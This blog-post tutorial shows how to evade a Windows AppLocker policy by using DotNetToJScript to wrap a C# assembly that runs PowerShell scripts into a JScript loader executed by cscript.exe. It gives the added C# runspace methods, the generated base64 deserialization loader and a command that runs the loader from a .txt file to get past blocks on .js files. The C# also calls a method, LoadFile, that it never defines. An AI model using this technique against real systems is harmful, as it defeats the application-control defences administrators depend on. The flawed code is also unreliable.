In my previous post I showed you how to bypass policy restrictions which won’t let you execute powershell.exe.
Now let’s move on to a more complicated (but realistic) scenario:
- you can’t run exe files located outside the “classic” Windows directories because there is an App Locker policy which won’t permit it
Say bye-bye to powershell? Not at all, we have other possibilities!
Introducing DotNetToJscript , a wonderful tool to generate Jscript (.js) files which bootstraps an arbitrary .NET Assembly and class.
JScript and VBscript files are interpreted by native “cscript.exe” a legitimate executable located in System32 , so there should be no problem, right?
Let’s start!
First of all, download the entire project, fireup Visual Studio 2015, open the project “DotNetToJScript.sln” and switch to TestClass.cs:

Comment out the MessageBox(..) in in the TestClass() constructor method otherwise you will get a Message Box every time.
Now insert the references to “System.Management.Automation.Runspaces”, “System.Management.Automation” and add the following methods in TestClass:
private string LoadScript(string filename)
{
string buffer ="";
try {
buffer = File.ReadAllText(filename);
}
catch (Exception e)
{
return "";
}
return buffer;
}
public void RunScript(string filename)
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
MyRunspace.Open();
Pipeline MyPipeline = MyRunspace.CreatePipeline();
string script=LoadFile(filename);
MyPipeline.Commands.AddScript(script);
MyPipeline.Commands.Add("Out-String");
Collection<PSObject> outputs = MyPipeline.Invoke();
MyRunspace.Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb.AppendLine(pobject.ToString());
}
Console.WriteLine(sb.ToString());
}
As you can see I only made some small changes, output will be printed directly in RunScript() which is now a public void method.
Time to compile the entire solution and if everything works fine you will have the following files:
- Dotnettojscript.exe – The “converter”
- ExampleAssembly.dll – The assembly of our TestClass
Dotnettojscript.exe will generate a .js script from our assembly:
Dotnettojscript.exe <path_of_assembly> > testps.js
Our “testps.js” file is ready, let’s take a look at it.
Basically, our assembly has been converted into a base64 serialized object.
When we invoke the script, these action will take place:
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm); al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.RunScript("c:\\scripts\\test.ps1");
} catch (e) {
debug(e.message);
}
The stored object is converted to a stream, deserialized and finally instantiated .
We just added the RunScript() call invoking our powershell test script.
And now comes the moment of truth, we are ready to execute it:

Bingo again! It works, we called our powershell script from a .js file! Cool, do you agree?
Some policy blocking .js files? No problem:
c:\scripts>cscript //e:jscript testps.txt
That’s all for now 😉